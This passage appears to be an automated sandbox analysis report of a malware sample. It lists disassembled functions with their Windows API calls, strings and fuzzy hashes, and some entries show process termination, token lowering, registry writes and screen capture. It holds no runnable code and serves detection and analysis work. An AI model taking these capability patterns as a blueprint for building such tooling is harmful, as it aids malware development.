Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: CurrentThreadXinvalid_argumentstd::_std::invalid_argument::invalid_argument
String ID: vector too long
API String ID: 3461298183-2873823879
Opcode ID: 122476eb6b49d0d5a0ea4173b5469ee6501c09f6e4c23d1200d7f01888b19ff0
Instruction ID: 802cd4237ec6739395e2448a970cbc95d83e7a1c78ce8eb0215cc3ca6fb86fcc
Opcode Fuzzy Hash: 122476eb6b49d0d5a0ea4173b5469ee6501c09f6e4c23d1200d7f01888b19ff0
Instruction Fuzzy Hash: F1D172B1A00209AFDB24DF68C884BEAB7F8BF45304F04459DE959972D0DB749AC4CF51

Uniqueness

Uniqueness Score: -1.00%

Function 0711DE7D Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 231COMMON

Download Yara Rule

APIs

ScreenToClient.USER32(?,?), ref: 0711EC00
ChildWindowFromPoint.USER32(?,?,?), ref: 0711EC15
RealGetWindowClassA.USER32(00000000,?,00000104,?,?,?,?,?), ref: 0711EC4A
RealGetWindowClassA.USER32(?,?,00000104,?,?,?,?,?,?,?,?), ref: 0711EC79

Strings

J9q=, xrefs: 0711EE93
J9q=, xrefs: 0711ED3B

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: Window$ClassReal$ChildClientFromPointScreen
String ID: J9q=$J9q=
API String ID: 3340434968-1087566249
Opcode ID: 347bdd4cdd9cd0757f6dc6b4e01c524241dbba3d4b6e3ea290e905d6f732124a
Instruction ID: 8720fd8f8f8d2cb06b034a1d15099eb201a7f17d46dbe064b46592b798ff3295
Opcode Fuzzy Hash: 347bdd4cdd9cd0757f6dc6b4e01c524241dbba3d4b6e3ea290e905d6f732124a
Instruction Fuzzy Hash: 7BC149B4D092A89BDB29CF28DC85AEDBBB1BF59300F4481D9E548A7280DB345BC5CF51

Uniqueness

Uniqueness Score: -1.00%

Function 07165B63 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 147COMMONLIBRARYCODE

Download Yara Rule

APIs

DecodePointer.KERNEL32(?,?,?,?,?,?,?,?,?,071654CF), ref: 07165B7C

Strings

log10, xrefs: 07165BBE, 07165BCD
asin, xrefs: 07165CA9
sqrt, xrefs: 07165CBB
acos, xrefs: 07165CB2
log, xrefs: 07165BD9, 07165BE8
exp, xrefs: 07165BFB, 07165C60
pow, xrefs: 07165C1A, 07165CC4, 07165D11

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: DecodePointer
String ID: acos$asin$exp$log$log10$pow$sqrt
API String ID: 3527080286-3064271455
Opcode ID: c4f497e3bdc00601770a8f2e55e9dc2f284d96cd986c082ead74f5cbf22daa45
Instruction ID: 7de595bd571585538b4ed41e82dac826e1962fe5e9cf45bd63f51de0ca4066e4
Opcode Fuzzy Hash: c4f497e3bdc00601770a8f2e55e9dc2f284d96cd986c082ead74f5cbf22daa45
Instruction Fuzzy Hash: A2516AF1A1061BDBCF158FA8E98C1AD7FB6FF06214F464084D492AB2D4C7349A35CB65

Uniqueness

Uniqueness Score: -1.00%

Function 07108E80 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 145processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 07108EB4
Process32First.KERNEL32(000000FF,00000128), ref: 07108EEC
OpenProcess.KERNEL32(00001000,00000000,?), ref: 07108FDF
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 07109016
CloseHandle.KERNEL32(00000000), ref: 07109020

Strings

d\X, xrefs: 07108F3B
J9q=, xrefs: 07108F6B

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: CloseCreateFileFirstHandleModuleNameOpenProcessProcess32SnapshotToolhelp32
String ID: J9q=$d\X
API String ID: 1316278611-2484946502
Opcode ID: 7062a0b3e60c59bb15a0a50092af2a7cbe421ca09cccd8ce96bf15ceab6d2d88
Instruction ID: 300a010d95fbd795699ed436d96aa3e1722d3f9ef00288f6e7e413dec2c403b2
Opcode Fuzzy Hash: 7062a0b3e60c59bb15a0a50092af2a7cbe421ca09cccd8ce96bf15ceab6d2d88
Instruction Fuzzy Hash: F5615CB4D04258EBDF01CFA8D885AEDFBB4BF48300F148199E949BB385D7746A85CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0714533A Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 07145340
GetProcAddress.KERNEL32(00000000,GetCurrentPackageId), ref: 0714534E
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 0714535F
GetProcAddress.KERNEL32(00000000,GetTempPath2W), ref: 07145370

Strings

GetCurrentPackageId, xrefs: 07145348
kernel32.dll, xrefs: 0714533B
GetSystemTimePreciseAsFileTime, xrefs: 07145354
GetTempPath2W, xrefs: 07145365

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: GetCurrentPackageId$GetSystemTimePreciseAsFileTime$GetTempPath2W$kernel32.dll
API String ID: 667068680-1247241052
Opcode ID: c1b31f40dc393fb3bcecb9b59df0d6695459cfa841851e8a48e373b75c57003f
Instruction ID: 99613dfd5b69df4234e52794dbc735de01209aae4ce81de705e8236fad445be1
Opcode Fuzzy Hash: c1b31f40dc393fb3bcecb9b59df0d6695459cfa841851e8a48e373b75c57003f
Instruction Fuzzy Hash: 83E046B1555360ABCB006F70EC0E8993AB9FA08265384801EF402E21C8D77D6494CB91

Uniqueness

Uniqueness Score: -1.00%

Function 07109590 Relevance: 13.7, APIs: 9, Instructions: 172memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,0000001C,0717102C), ref: 071095F0
SetupDiEnumDeviceInfo.SETUPAPI(00000000,071099F4,00000000), ref: 0710960E
LocalAlloc.KERNEL32(00000040,0000001C), ref: 07109649
SetupDiEnumDeviceInterfaces.SETUPAPI(00000000,00000000,07169500,071099F4,00000000), ref: 0710966E

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: AllocDeviceEnumLocalSetup$InfoInterfaces
String ID:
API String ID: 1562706109-0
Opcode ID: 9f9a504f4d31ba07ccb5d65d48a2e20d6a1784b3dfd30de91c10b21da72bf0c0
Instruction ID: dbfc919a19b66575e3c416e3c79769318ef6a3a8ac21b70fda0344faf5abb1f2
Opcode Fuzzy Hash: 9f9a504f4d31ba07ccb5d65d48a2e20d6a1784b3dfd30de91c10b21da72bf0c0
Instruction Fuzzy Hash: 7F71E6B5E00209EBDB04DF98D899BEEBBB5BB48710F208118E515BB2C0D775AA41CF95

Uniqueness

Uniqueness Score: -1.00%

Function 071495C0 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 071496DF
___TypeMatch.LIBVCRUNTIME ref: 071497ED
_UnwindNestedFrames.LIBCMT ref: 0714993F
CallUnexpected.LIBVCRUNTIME ref: 0714995A

Strings

csm, xrefs: 0714966A
csm, xrefs: 07149716
csm, xrefs: 071495FD

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: cdaf0e2cab12a1e2f86f33ed44e0c215833322c2bd11af6a6d2f2397a4500be0
Instruction ID: ff84baffa97b6276f27ba0d8855916b7d5809f1359afc9b16c26b2950f780c14
Opcode Fuzzy Hash: cdaf0e2cab12a1e2f86f33ed44e0c215833322c2bd11af6a6d2f2397a4500be0
Instruction Fuzzy Hash: 8DB15AF180020AEFCF2ADFA8C8819AFB7B5FF04315B154169E8156B295D731EA51CF92

Uniqueness

Uniqueness Score: -1.00%

Function 0715AF86 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 292COMMONLIBRARYCODE

Download Yara Rule

Strings

, xrefs: 0715B200, 0715B205

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3907804496
Opcode ID: 122a25a631a75b956f0153ee421ae977f412bbf47cea71505c73af8cd809484a
Instruction ID: 4fcc28ad06c30cd09e86a40a66dec9490e2c16115a75976144e178aba6ca5045
Opcode Fuzzy Hash: 122a25a631a75b956f0153ee421ae977f412bbf47cea71505c73af8cd809484a
Instruction Fuzzy Hash: AAB1D6F0A08246DFDB2ADF98D881BBDBBB5AF46314F544158EC20AB3C1C774A941CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0710C200 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 101COMMON

Download Yara Rule

APIs

SaferCreateLevel.ADVAPI32(00000002,00020000,00000001,00000000,00000000), ref: 0710C23B
SaferComputeTokenFromLevel.ADVAPI32(00000000,00000000,00000000,00000000,00000000), ref: 0710C27B
ConvertStringSidToSidA.ADVAPI32(S-1-16-8192,00000000), ref: 0710C2A0
SetTokenInformation.ADVAPI32(00000000,00000019,00000000,00000008), ref: 0710C2D5
SaferCloseLevel.ADVAPI32(00000000), ref: 0710C363
LocalFree.KERNEL32(00000000), ref: 0710C373

Strings

S-1-16-8192, xrefs: 0710C29B

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: LevelSafer$Token$CloseComputeConvertCreateFreeFromInformationLocalString
String ID: S-1-16-8192
API String ID: 3581683870-1480721295
Opcode ID: 3aed6a288c6973194698fd30a031fc8aee457778ff6744cf091e2c3c65cb3c5f
Instruction ID: cd65c52d7a851e8e2ca0fc0b00fd89ee6d25fc971d1bb12b009c7f2e441f2ea6
Opcode Fuzzy Hash: 3aed6a288c6973194698fd30a031fc8aee457778ff6744cf091e2c3c65cb3c5f
Instruction Fuzzy Hash: 0F413CB0A10309EBDF21DFE4DC49FEEB7B8BB08B14F508219E511A62C0D7B96505CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0710D224 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 97registrysleepwindowCOMMON

Download Yara Rule

APIs

FindWindowA.USER32(?,00000000), ref: 0710D354
Sleep.KERNEL32(0000012C), ref: 0710D374
SHAppBarMessage.SHELL32(0000000A,00000024), ref: 0710D392
RegSetValueExA.ADVAPI32(?,?,00000000,00000004,00000000,00000004), ref: 0710D3BD
RegCloseKey.ADVAPI32(?), ref: 0710D3C7

Strings

J9q=, xrefs: 0710D2E1
+@&S, xrefs: 0710D2A3
+@&S, xrefs: 0710D293

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: CloseFindMessageSleepValueWindow
String ID: +@&S$+@&S$J9q=
API String ID: 69715334-886869638
Opcode ID: f44dc4a089080f817a85b7fbeab3d10f6b2af2ca8d3071df2f1992a8ce49a5d4
Instruction ID: ca030509833a8e6ff48e5165bc10734e1a3ad0002dc5299dae1d474152eaef09
Opcode Fuzzy Hash: f44dc4a089080f817a85b7fbeab3d10f6b2af2ca8d3071df2f1992a8ce49a5d4
Instruction Fuzzy Hash: 2F5123B0E052A88BDB26CF68C851BECFBB1AF59304F0081D9DA9977291DB301AC5CF50

Uniqueness

Uniqueness Score: -1.00%

Function 07162F92 Relevance: 12.2, APIs: 8, Instructions: 248COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(00000000,00000001,00000001,7FFFFFFF,?,07163262,00000000,00000000,?,00000001,?,?,?,?,00000001,?), ref: 07163038
__alloca_probe_16.LIBCMT ref: 071630F3
__alloca_probe_16.LIBCMT ref: 07163182
__freea.LIBCMT ref: 071631CD
__freea.LIBCMT ref: 071631D3
__freea.LIBCMT ref: 07163209
__freea.LIBCMT ref: 0716320F
__freea.LIBCMT ref: 0716321F

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: 73f0ff2ee89c0e9a87d4e9cb14a7bd7a0514285150aff43e5febd5042bb93116
Instruction ID: 9a12e68d681ddab1ff254ef47d90f68a7dfd2f1a63ddd8ce371c68573b3937ff
Opcode Fuzzy Hash: 73f0ff2ee89c0e9a87d4e9cb14a7bd7a0514285150aff43e5febd5042bb93116
Instruction Fuzzy Hash: 737109F2900206EBDF26AF54CC48BAF7BBAAF4A710F150059ED24A72C1D775D864C761

Uniqueness

Uniqueness Score: -1.00%

Function 07145150 Relevance: 12.2, APIs: 8, Instructions: 175COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000001,?,00000000,00000000,?,?,?,00000001), ref: 07145199
__alloca_probe_16.LIBCMT ref: 071451C5
MultiByteToWideChar.KERNEL32(00000001,00000001,00000000,?,00000000,00000000), ref: 07145204
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 07145221
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 07145260
__alloca_probe_16.LIBCMT ref: 0714527D
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 071452BF
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 071452E2

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: 5b7fccdd7bfd77c6ccc9298eb2ec0c80fd5ea746d598cac17d41564a9fd7a57b
Instruction ID: 62baa9fdeaf86f6bbb36ef7e0501a3d4fd34b445a9dd86eb9dd905469308c3dd
Opcode Fuzzy Hash: 5b7fccdd7bfd77c6ccc9298eb2ec0c80fd5ea746d598cac17d41564a9fd7a57b
Instruction Fuzzy Hash: CC51BDF250020AEFEF218FA4CC44FAA7BBAEF44B50F55452AF911EA1D0D7349920CB60

Uniqueness

Uniqueness Score: -1.00%

Function 0713EB70 Relevance: 12.2, APIs: 8, Instructions: 175memoryCOMMON

Download Yara Rule

APIs

GetErrorInfo.OLEAUT32(00000000,00000000,00000000,00000040,00000044,?,?,0713F3E6,?), ref: 0713EBA4
SysFreeString.OLEAUT32(?), ref: 0713EC20
SysStringLen.OLEAUT32(00000000), ref: 0713EC92
GetProcessHeap.KERNEL32(-000000F0,?,00000000,?,?,0713F3E6), ref: 0713ECCC
HeapFree.KERNEL32(00000000,-000000F0,?,00000000,?,?,0713F3E6), ref: 0713ECD2
GetProcessHeap.KERNEL32(-000000F0,00000000,00000000,00000000,?,?,0713F3E6), ref: 0713ECF4
HeapFree.KERNEL32(00000000,-000000F0,00000000,00000000,00000000,?,?,0713F3E6), ref: 0713ECFA
SysFreeString.OLEAUT32(00000000), ref: 0713ED07

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: FreeHeap$String$Process$ErrorInfo
String ID:
API String ID: 3725924239-0
Opcode ID: b07c460c3be6c7556ea69059cadb6aaa7d72f51c90cc1738dd43c39bdacb142c
Instruction ID: 64ac2f7037c3ab383d9f98acd7b9acaace61961398c94a3430d6301f5c1b2e0d
Opcode Fuzzy Hash: b07c460c3be6c7556ea69059cadb6aaa7d72f51c90cc1738dd43c39bdacb142c
Instruction Fuzzy Hash: 14513DF4A0030AEBDF19DFA4C894BAEBBB4EF45310F14455DE816A72C0D734AA49CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00B163F6 Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00B1647C

Memory Dump Source

Source File: 00000000.00000002.4491544034.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.4491456488.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491758159.0000000000C32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491798965.0000000000C52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491823337.0000000000C5A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491854790.0000000000C82000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491881500.0000000000C88000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492078293.0000000000E65000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492121485.0000000000E66000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492393674.00000000011D7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 60d2c484e512d77ccd1e1b5e9e2f0544a37519f154a529b1ce1fcd72a47a8763
Instruction ID: 036b884588fd359f35544069e88cd1f6e595b074626ddd87759ab1a2ea600609
Opcode Fuzzy Hash: 60d2c484e512d77ccd1e1b5e9e2f0544a37519f154a529b1ce1fcd72a47a8763
Instruction Fuzzy Hash: 5CB14772A00265AFDB118F68CC81BEEBBE5EF55350F5441E6E904AF382D674DD81C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 0710D430 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 140libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?), ref: 0710D612
GetProcAddress.KERNEL32(?,?), ref: 0710D623
GetVersionExA.KERNEL32(0712D388), ref: 0710D645

Strings

J9q=, xrefs: 0710D4CC
&9q=, xrefs: 0710D571
J9q=, xrefs: 0710D5B0

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: AddressHandleModuleProcVersion
String ID: &9q=$J9q=$J9q=
API String ID: 3310240892-3633127491
Opcode ID: ee97d9b2def05189787f8fa581b949f128e36cde3cefe599c02eea10fc5981b8
Instruction ID: b08883a30b0aea8bfbf112153a2da42945da05c1ffc17e3f1ca26b057188eb50
Opcode Fuzzy Hash: ee97d9b2def05189787f8fa581b949f128e36cde3cefe599c02eea10fc5981b8
Instruction Fuzzy Hash: BE712274D0929C9BDB16CFA8D9816DDFBB1BF59300F14829AD988B7342EB301A85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 07149040 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 07149077
___except_validate_context_record.LIBVCRUNTIME ref: 0714907F
_ValidateLocalCookies.LIBCMT ref: 07149108
__IsNonwritableInCurrentImage.LIBCMT ref: 07149133
_ValidateLocalCookies.LIBCMT ref: 07149188

Strings

csm, xrefs: 0714911D

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: e68b4d5a65d6f8c5a752e00789e92f9a0ea1266f9f226c66b62f858e5d5b510e
Instruction ID: 588518aabf327a956bba5165a6093b197d81662750340623534a6f361a79420f
Opcode Fuzzy Hash: e68b4d5a65d6f8c5a752e00789e92f9a0ea1266f9f226c66b62f858e5d5b510e
Instruction Fuzzy Hash: 0441AEF4A00209EFCF11DF68C888A9FBBB4BF45324F148155E818AB3D1D736AA55CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0710D6B0 Relevance: 10.6, APIs: 7, Instructions: 86windowCOMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32(00000000), ref: 0710D73C
GetSystemMetrics.USER32(00000001), ref: 0710D74A
GetDC.USER32(00000000), ref: 0710D758
CreateCompatibleDC.GDI32(00000000), ref: 0710D76B
CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 0710D789
SelectObject.GDI32(?,?), ref: 0710D7A3
ReleaseDC.USER32(00000000,00000000), ref: 0710D7AF

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: CompatibleCreateMetricsSystem$BitmapObjectReleaseSelect
String ID:
API String ID: 1591331490-0
Opcode ID: 84c1c4218b9e323e8d107bbad70d97ed31e228a340c39d5553bd5bfc3bb19a2f
Instruction ID: 572f66ee8a7d82ae8b4812f553f97a69e7e14a37583ee83c394ed1a146a0f05f
Opcode Fuzzy Hash: 84c1c4218b9e323e8d107bbad70d97ed31e228a340c39d5553bd5bfc3bb19a2f
Instruction Fuzzy Hash: 38417278A00208EFDB04DF94C595AAEBBB5FF48304F208589E9059B381C775EE82DF90

Uniqueness

Uniqueness Score: -1.00%

Function 07109130 Relevance: 10.6, APIs: 7, Instructions: 83processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 07109147
Process32First.KERNEL32(000000FF,00000128), ref: 0710916F
OpenProcess.KERNEL32(00000001,00000000,00000000), ref: 071091F2
TerminateProcess.KERNEL32(00000000,00000000), ref: 07109207
CloseHandle.KERNEL32(00000000), ref: 07109211
Process32Next.KERNEL32(000000FF,00000128), ref: 07109222
CloseHandle.KERNEL32(000000FF), ref: 07109234

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: CloseHandleProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32
String ID:
API String ID: 2696918072-0
Opcode ID: 7436c5458eb09d70e6cdabc98860d890c28e5c03cf8a64a2980121ed148ce697
Instruction ID: 4df5757803962ada6bc248aa936355f14410500f16243c3ee23a02959c76771b
Opcode Fuzzy Hash: 7436c5458eb09d70e6cdabc98860d890c28e5c03cf8a64a2980121ed148ce697
Instruction Fuzzy Hash: F83109B4E002199FCB14DFA4C859BEEBBB8AF48305F108159E515A72C1D775AA85CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 07154CA8 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,07135FE8,?,099AB7CE,?,07154DB7,07135FE8,071454A8,00000000,07135FE8), ref: 07154D69

Strings

api-ms-, xrefs: 07154CFF
ext-ms-, xrefs: 07154D13

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 5a5a910a8253beea8eaa11f843ab2919630b3ed167fd68f4ea75e9a1d2b9d69d
Instruction ID: 30baac2100c244cc0368d767205371172daf7000d498302ebeaaba1272f549fc
Opcode Fuzzy Hash: 5a5a910a8253beea8eaa11f843ab2919630b3ed167fd68f4ea75e9a1d2b9d69d
Instruction Fuzzy Hash: 692150F1A01252EBCB6A9B24DC45A9E33689F52774F150114ED35A72C0DB78FD80C6D0

Uniqueness

Uniqueness Score: -1.00%

Function 07143454 Relevance: 10.6, APIs: 7, Instructions: 65COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0714345B
std::_Lockit::_Lockit.LIBCPMT ref: 07143465
int.LIBCPMTD ref: 0714347C

Part of subcall function 071029D0: std::_Lockit::_Lockit.LIBCPMT ref: 071029E6
Part of subcall function 071029D0: std::_Lockit::~_Lockit.LIBCPMT ref: 07102A10

codecvt.LIBCPMT ref: 0714349F
std::_Facet_Register.LIBCPMT ref: 071434B6
std::_Lockit::~_Lockit.LIBCPMT ref: 071434D6
Concurrency::cancel_current_task.LIBCPMTD ref: 071434E3

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3Registercodecvt
String ID:
API String ID: 2133458128-0
Opcode ID: 5aa05e555e70d765500c10025af86605391c9c8c4814679e6146e3491ee162c2
Instruction ID: 3a73a3b0879e63002da1492d148a13767c94e41e1b2fb53ea49c8223686749e3
Opcode Fuzzy Hash: 5aa05e555e70d765500c10025af86605391c9c8c4814679e6146e3491ee162c2
Instruction Fuzzy Hash: 5511B4F1910219DFCB16EF64D804AAEB7F5BF44720F144409E415BB3C0DB74AA01CB92

Uniqueness

Uniqueness Score: -1.00%

Function 071661C1 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 45libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,?,?,0716623C,071663E5), ref: 071661D8
GetProcAddress.KERNEL32(00000000,AcquireSRWLockExclusive), ref: 071661EE
GetProcAddress.KERNEL32(00000000,ReleaseSRWLockExclusive), ref: 07166203

Strings

KERNEL32.DLL, xrefs: 071661D3
AcquireSRWLockExclusive, xrefs: 071661E8
ReleaseSRWLockExclusive, xrefs: 071661F8

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: AcquireSRWLockExclusive$KERNEL32.DLL$ReleaseSRWLockExclusive
API String ID: 667068680-1718035505
Opcode ID: 739a4d2c1a530f0307e4f69fb32d2276fccec46356136275a0c62cbb9cc63497
Instruction ID: 760f30daedec5f2e9afc3d43401513ccadcb524ec888f845c28f6ec1e0da446a
Opcode Fuzzy Hash: 739a4d2c1a530f0307e4f69fb32d2276fccec46356136275a0c62cbb9cc63497
Instruction Fuzzy Hash: 3FF0F6F17923579B8F225EA45C8E57B37EEAF46155342803DE801F31C0D729D8A1C792

Uniqueness

Uniqueness Score: -1.00%

Function 07141E10 Relevance: 9.2, APIs: 6, Instructions: 225memoryCOMMON

Download Yara Rule

APIs

_Min_value.LIBCPMTD ref: 07141E8B
char_traits.LIBCPMTD ref: 07141E94
_Min_value.LIBCPMTD ref: 07141F1E
char_traits.LIBCPMTD ref: 07141F27
_Min_value.LIBCPMTD ref: 07141F87
_Allocate.LIBCONCRTD ref: 07141FD8

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: Min_value$char_traits$Allocate
String ID:
API String ID: 2548426506-0
Opcode ID: 976c6ce28fa302c982ce470c83274e79c58dd93879e024ff5681be4c106d44e3
Instruction ID: cd8013b3f6c0851c1ebf18cff8cc5a9df052361f373dc7ec30277e86f9fb44dc
Opcode Fuzzy Hash: 976c6ce28fa302c982ce470c83274e79c58dd93879e024ff5681be4c106d44e3
